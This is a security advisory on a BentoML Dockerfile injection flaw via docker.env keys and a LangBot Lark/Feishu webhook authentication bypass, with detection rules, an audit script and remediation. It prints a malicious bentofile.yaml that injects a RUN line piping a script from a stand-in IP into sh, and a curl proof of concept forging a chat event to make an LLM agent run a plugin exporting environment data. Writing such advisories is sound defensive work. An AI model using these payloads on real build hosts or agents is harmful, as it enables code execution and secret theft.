CVE-2026-112264: BentoML Containerization Dockerfile Instruction Injection via docker.env Keys & Companion LangBot Webhook Authenticity Bypass
Critical MLOps build-pipeline code injection in BentoML through 1.4.39 (CVE-2026-112264) disclosed alongside an enterprise AI messaging authentication bypass in LangBot through 4.11.0 (CVE-2026-112265). In BentoML <= 1.4.39, dictionary-form docker.env configuration entries in bentofile.yaml are rendered into the legacy Dockerfile template (src/bentoml/_internal/container/frontend/dockerfile/templates/base.j2) without stripping or rejecting newline characters ('\\n') inside mapping keys. An attacker supplying a crafted bentofile.yaml or .bento archive can break out of the ENV instruction block and inject arbitrary 'RUN' commands that execute on the container build host during 'bentoml containerize'. Simultaneously, LangBot <= 4.11.0 fails to verify Lark/Feishu webhook cryptographic signatures or verification tokens on incoming HTTP callbacks (CVE-2026-112265), allowing unauthenticated attackers who know a bot UUID to inject forged chat events directly into LLM agent tool pipelines.
HERMES THREAT SCORE & MLOPS SUPPLY-CHAIN / AGENT WEBHOOK EVALUATION
Target:BentoML Dockerfile Jinja2 Template Generator (src/bentoml/_internal/container/frontend/dockerfile/templates/base.j2 & build_config.py) & LangBot Lark/Feishu Webhook Adapter While CVSS v3.1 scores CVE-2026-112264 at 8.8 (High) by assuming interactive developer execution of 'bentoml containerize', the Hermes Threat Score elevates this vulnerability to 91 (CRITICAL) with a Hermes Agentic Security Score (HASS) of 92 (CRITICAL). In modern MLOps architecturesโsuch as automated model registry builders, BentoCloud CI/CD runners, and autonomous model-packaging agentsโ'bentoml build' and 'bentoml containerize' execute automatically against uploaded model repositories with privileged BuildKit/Docker daemon access and cloud registry credentials. Furthermore, CVE-2026-112264 is an incomplete-fix bypass of earlier BentoML template-injection patches (CVE-2026-33744, CVE-2026-35043, CVE-2026-35044) that hardened system_packages and base_v2.j2 while leaving dictionary keys in docker.env unvalidated on the legacy base.j2 path. Paired with CVE-2026-112265 in LangBot (<= 4.11.0), where missing Lark/Feishu webhook signature verification allows unauthenticated remote prompt and plugin invocation, both flaws expose critical AI build and messaging pipelines.
CVE-2026-112264: BentoML Containerization Dockerfile Instruction Injection via docker.env Keys & Companion LangBot Webhook Authenticity BypassVULNERABILITY
Software platform affected by security vulnerabilities and agentic attack patterns.
๐ Why is this related? (Evidence & Provenance)
“Confirmed security vulnerability in BentoML AI Model Serving & Containerization Framework documented in Hermes dossier.”
- [vulnerability_report]
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source: Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Reliability: VERY_HIGH)
Executive Summary
Section titled โExecutive SummaryโOn October 19โ20, 2026, VulnCheck Initial Access Intelligence disclosed two critical vulnerabilities targeting MLOps model containerization pipelines and enterprise AI messaging bots:
- CVE-2026-112264 (
CWE-94/CWE-74/CWE-78, BentoML<= 1.4.39Dockerfile Instruction Injection viadocker.envKeys): When packaging and containerizing AI models viabentofile.yamlor imported.bentoarchives, BentoMLโsDockerOptions(src/bentoml/_internal/bento/build_config.py) accepts a dictionary mapping fordocker.env. While earlier security patches in BentoML1.4.37โ1.4.38(CVE-2026-33744,CVE-2026-35043,CVE-2026-35044) addedshlex.quote()and validation todocker.system_packagesand list-form environment variables inbase_v2.j2, the legacy Dockerfile Jinja2 template (src/bentoml/_internal/container/frontend/dockerfile/templates/base.j2) continued to interpolate dictionary keys fromdocker.envdirectly intoENVlines without rejecting newline (\n) or carriage-return (\r) characters. Injecting a newline inside adocker.envmapping key escapes theENVinstruction and injects arbitraryRUN,ADD, orCOPYdirectives into the generatedDockerfile, achieving Remote Code Execution (RCE) on the build host duringbentoml containerize. - Companion Disclosure โ CVE-2026-112265 (
CWE-345/CWE-306, LangBot<= 4.11.0Missing Lark/Feishu Webhook Authenticity Verification): In LangBot (RockChinQ/LangBot, versions<= 4.11.0), the HTTP webhook event receiver for Lark / Feishu enterprise bots (pkg/platform/sources/lark.py) processes incoming/bots/{uuid}/webhookcallbacks without enforcingX-Lark-Signature(encrypt-keySHA-256 signature verification) orverification-tokenchecks when unset or bypassed. An unauthenticated remote attacker who knows or discovers a botโs UUID can send forged Lark message events directly to the webhook endpoint, triggering unauthorized LLM completions, RAG knowledge retrieval, and agentic MCP/plugin tool execution under the impersonated identity of an enterprise administrator.
Technical Vulnerability Mechanics & Code Dissection
Section titled โTechnical Vulnerability Mechanics & Code Dissectionโ1. CVE-2026-112264: Bypassing Prior BentoML Hardening via docker.env Dictionary Keys in base.j2
Section titled โ1. CVE-2026-112264: Bypassing Prior BentoML Hardening via docker.env Dictionary Keys in base.j2โTo understand why CVE-2026-112264 persisted through BentoML 1.4.39 despite earlier fixes in 1.4.37 and 1.4.38, examine how BentoML parses docker.env in src/bentoml/_internal/bento/build_config.py (DockerOptions) and renders Dockerfile instructions across its Jinja2 templates (src/bentoml/_internal/container/frontend/dockerfile/templates/).
In bentofile.yaml, docker.env supports three input formats:
- A list of
KEY=VALUEstrings (["FOO=bar"]) - A path to a dotenv file
- A YAML dictionary mapping (
{"FOO": "bar"})
When the legacy template path (base.j2 and its derived distro templates base_debian.j2, base_ubi8.j2, base_amazonlinux.j2) renders environment variables, it iterates over the dictionary items (__options__env):
{# VULNERABLE: src/bentoml/_internal/container/frontend/dockerfile/templates/base.j2 (<= 1.4.39) #}{% block SETUP_BENTO_ENVARS %}{% if __options__env is not none %}{% for key, value in __options__env.items() -%}ENV {{ key }}={{ value }}{% endfor -%}{% endif %}{% endblock %}And in src/bentoml/_internal/bento/build_config.py, while values were coerced or quoted in newer code paths, dictionary keys (key) in docker.env were only checked for basic Python str type compatibility without validating that key matched a strict POSIX environment variable identifier (^[a-zA-Z_][a-zA-Z0-9_]*$):
# VULNERABLE PATTERN: src/bentoml/_internal/bento/build_config.py (<= 1.4.39)def _convert_env(env: dict[str, str] | list[str] | str | None) -> dict[str, str] | None: if isinstance(env, dict): # FLAW (CWE-94 / CWE-74): Dictionary keys (k) are NOT checked for newline ('\n') # or invalid POSIX identifier characters before template interpolation! return {str(k): shlex.quote(str(v)) for k, v in env.items()}Because shlex.quote(str(v)) wraps the value in single quotes (where a literal newline inside single quotes in a Dockerfile causes a syntax error unless preceded by a backslash continuation), attackers who attempted to inject \nRUN ... into the value were blocked whenever shlex.quote() was active. However, by placing the newline payload inside the dictionary key (k), the template renders the key completely unquoted before the = sign!
Consider a malicious bentofile.yaml containing a YAML literal block key (? |) under docker.env:
# Malicious bentofile.yaml exploiting CVE-2026-112264 (BentoML <= 1.4.39)service: "service:svc"include: - "*.py"docker: distro: debian env: ? | legit_var=1 RUN curl -fsSL http://198.51.100.42:8080/exfil.sh | sh # : "harmless_value"When base.j2 evaluates ENV {{ key }}={{ value }}, it emits the following raw Dockerfile instructions:
ENV legit_var=1RUN curl -fsSL http://198.51.100.42:8080/exfil.sh | sh#='harmless_value'- Line 1 (
ENV legit_var=1) is a valid DockerfileENVinstruction. - Line 2 (
RUN curl -fsSL ... | sh) breaks out into a top-level DockerfileRUNdirective that Docker / BuildKit executes immediately on the build host! - Line 3 (
#='harmless_value') begins with#, turning the trailing={{ value }}fragment into a harmless Dockerfile comment so that the build succeeds with zero syntax errors.
flowchart TD Attacker["Attacker / Untrusted Model Repository"]
subgraph PathA["Vector A: BentoML <= 1.4.39 (CVE-2026-112264)"] BentoYAML["Crafted bentofile.yaml or .bento Archive<br/>docker.env dictionary key with raw '\\n':<br/>'VAR=1\\nRUN <cmd>\\n#'"] BuildConfig["build_config.py :: DockerOptions<br/>Quotes value via shlex.quote(v)<br/>Leaves dictionary key (k) unvalidated!"] BaseJ2["templates/base.j2 Jinja2 Renderer<br/>Emits: ENV VAR=1\\nRUN <cmd>\\n#='val'"] DockerBuild["'bentoml containerize' / CI Builder<br/>Executes injected RUN directive on Build Host<br/>& Backdoors Output Container Image"] end
subgraph PathB["Vector B: LangBot <= 4.11.0 (CVE-2026-112265)"] ForgedWebhook["Forged HTTP POST to /bots/{uuid}/webhook<br/>Spoofed sender_id (Enterprise Admin OpenID)"] LarkAdapter["LangBot Lark/Feishu Webhook Handler<br/>Missing mandatory X-Lark-Signature /<br/>verification-token enforcement (CWE-345)"] AgentTools["LangBot LLM Runner & MCP/Plugin Tools<br/>Executes privileged agent commands & RAG queries"] end
Attacker --> BentoYAML BentoYAML --> BuildConfig BuildConfig --> BaseJ2 BaseJ2 --> DockerBuild
Attacker --> ForgedWebhook ForgedWebhook --> LarkAdapter LarkAdapter --> AgentTools
style BaseJ2 fill:#ff4d4d,stroke:#990000,color:#ffffff style DockerBuild fill:#ff1a1a,stroke:#800000,color:#ffffff style LarkAdapter fill:#ff6600,stroke:#993300,color:#ffffff2. Companion Disclosure: LangBot <= 4.11.0 Lark/Feishu Webhook Authenticity Bypass (CVE-2026-112265)
Section titled โ2. Companion Disclosure: LangBot <= 4.11.0 Lark/Feishu Webhook Authenticity Bypass (CVE-2026-112265)โDisclosed alongside CVE-2026-112264, CVE-2026-112265 (CWE-345: Insufficient Verification of Data Authenticity) affects LangBot (<= 4.11.0), a widely deployed open-source LLM messaging bot and agentic workflow platform supporting Lark/Feishu, DingTalk, WeCom, Slack, and Discord.
When LangBot is connected to Lark / Feishu in HTTP Webhook mode (as opposed to WebSocket long-connection mode), Lark delivers event callbacks (im.message.receive_v1) via HTTP POST requests to the botโs webhook route. To authenticate these callbacks, the Lark Open Platform provides two mechanisms:
X-Lark-Signature(encrypt-key): SHA-256 signature computed overtimestamp + nonce + encrypt_key + raw_body.verification-token: Shared secret inside the event header (header.token).
In LangBot versions <= 4.11.0, the Lark webhook adapter failed to enforce mandatory signature or token validation when handling unencrypted webhook payloads (or allowed verification to be skipped when encrypt-key was omitted). Consequently, any remote attacker who discovers or guesses a configured bot instanceโs UUID can send a forged im.message.receive_v1 JSON payload directly to the webhook endpoint:
#!/usr/bin/env bash# Proof-of-Concept: CVE-2026-112265 LangBot Lark/Feishu Forged Webhook InjectionTARGET_LANGBOT="http://192.0.2.88:2280"BOT_UUID="c4f8e1a0-72b1-4d9c-91a3-08f91e3a1102"
curl -i -X POST "${TARGET_LANGBOT}/api/v1/platform/webhook/${BOT_UUID}" \ -H "Content-Type: application/json" \ -d '{ "schema": "2.0", "header": { "event_id": "forged-evt-2026-112265", "event_type": "im.message.receive_v1", "create_time": "1792464000000", "app_id": "cli_spoofed_app" }, "event": { "sender": { "sender_id": { "open_id": "ou_enterprise_admin_001" }, "sender_type": "user" }, "message": { "message_id": "om_forged_001", "chat_type": "p2p", "message_type": "text", "content": "{\"text\": \"!plugin run system_diagnostics --export-env\"}" } } }'Forensic Analysis & Detection Engineering
Section titled โForensic Analysis & Detection EngineeringโReview our related analyses of CVE-2026-112015 (Omnigent Sub-Agent os_env.cwd Path Traversal & Policy Escape) and CVE-2026-111998 (Vanus Event Gateway Unauthenticated CloudEvents & SSRF) for securing MLOps runners and webhook gateways.
title: BentoML Dockerfile Instruction Injection via docker.env & LangBot Unverified Lark Webhook (CVE-2026-112264 / CVE-2026-112265)id: 4a8c2f19-1122-464d-9e12-bentoml112264status: experimentaldescription: Detects CVE-2026-112264 (injected RUN/ADD/COPY instructions inside generated BentoML Dockerfiles or multiline docker.env keys in bentofile.yaml) and CVE-2026-112265 (incoming Lark/Feishu im.message.receive_v1 webhook POST requests lacking X-Lark-Signature headers).references: - https://vulncheck.com/advisories/bentoml-through-1.4.39-dockerfile-instruction-injection-via-docker-env-keys - https://vulncheck.com/advisories/langbot-through-4.11.0-missing-lark-feishu-webhook-authenticity-verificationauthor: Hermes Threat Intelligencedate: 2026/10/20logsource: category: webserverdetection: selection_langbot_webhook: cs-method: 'POST' request_body|contains: 'im.message.receive_v1' filter_missing_lark_sig: cs-headers|contains: - 'X-Lark-Signature' - 'x-lark-signature' condition: selection_langbot_webhook and not filter_missing_lark_sigfalsepositives: - Local development webhook testing without Lark signature headerslevel: criticaltags: - attack.initial_access - attack.execution - attack.t1195.002 - attack.t1190 - cve.2026-112264 - cve.2026-112265(index=cicd_builds OR index=docker_daemon OR index=web_access)| eval threat_signal=case( match(_raw, "(?ms)ENV\s+[^\n]+=\S+\s*\n\s*(RUN|ADD|COPY)\s+"), "CVE-2026-112264_BentoML_Dockerfile_Env_Key_Injection", match(request_body, "im\.message\.receive_v1") AND NOT match(request_headers, "(?i)x-lark-signature:"), "CVE-2026-112265_LangBot_Unverified_Lark_Webhook", 1==1, "Normal")| where threat_signal != "Normal"| stats count, earliest(_time) as first_seen, latest(_time) as last_seen, values(host) as hosts, values(src_ip) as src_ips by threat_signal| sort - count#!/usr/bin/env bash# Hermes Pre-Build Security Audit for BentoML (CVE-2026-112264) & LangBot (CVE-2026-112265)set -euo pipefail
TARGET_DIR="${1:-.}"echo "[*] 1. Checking installed BentoML version..."python3 -c "import bentoml; print('BentoML version:', bentoml.__version__)" 2>/dev/null || true
echo "[*] 2. Scanning bentofile.yaml and generated Dockerfiles under '${TARGET_DIR}' for multiline docker.env keys..."python3 - "${TARGET_DIR}" << 'EOF'import pathlib, re, sys, yaml
root = pathlib.Path(sys.argv[1])KEY_RE = re.compile(r"^[a-zA-Z_][a-zA-Z0-9_]*$")
for path in list(root.rglob("bentofile*.yaml")) + list(root.rglob("bento.yaml")): try: data = yaml.safe_load(path.read_text(encoding="utf-8")) or {} env_cfg = (data.get("docker") or {}).get("env") if isinstance(env_cfg, dict): for k, v in env_cfg.items(): if "\n" in str(k) or "\r" in str(k) or not KEY_RE.match(str(k)): print(f"[!] CRITICAL (CVE-2026-112264): Malicious docker.env key in {path}: {k!r}") except Exception as exc: print(f"[!] Warning: Could not parse {path}: {exc}")EOFRemediation & Hardening Directives
Section titled โRemediation & Hardening Directivesโ- Upgrade BentoML Beyond
1.4.39(>= 1.4.40) and Validatedocker.envKeys (CVE-2026-112264): Update BentoML in all developer workstations, CI/CD model-packaging pipelines, and BentoCloud build runners. Ensure that every key indocker.env(both inbuild_config.pyand insidebase.j2/base_v2.j2) is strictly validated against the POSIX identifier regex^[a-zA-Z_][a-zA-Z0-9_]*$and that any key or value containing\nor\rraises an immediateBentoMLExceptionprior to template rendering. - Isolate
bentoml containerizein Rootless, Network-Restricted Sandboxes: Never runbentoml buildorbentoml containerizeon untrusted third-partybentofile.yamlfiles or.bentoarchives using a privileged host Docker socket (/var/run/docker.sock). Execute container builds inside ephemeral rootless BuildKit pods without access to cloud metadata (169.254.169.254) or production registry push tokens until the generatedenv/docker/Dockerfilehas been inspected. - Upgrade LangBot Beyond
4.11.0(>= 4.11.1) or Switch to WebSocket Mode (CVE-2026-112265): Update LangBot to a patched release that strictly enforcesX-Lark-Signature(encrypt-key) andverification-tokenvalidation on all incoming Lark/Feishu webhook requests and rejects callbacks when signature secrets are unconfigured. Alternatively, switch the Lark/Feishu adapter from HTTP Webhook mode to WebSocket Long Connection mode, which authenticates outbound to the Feishu Open Platform without exposing an inbound HTTP webhook port.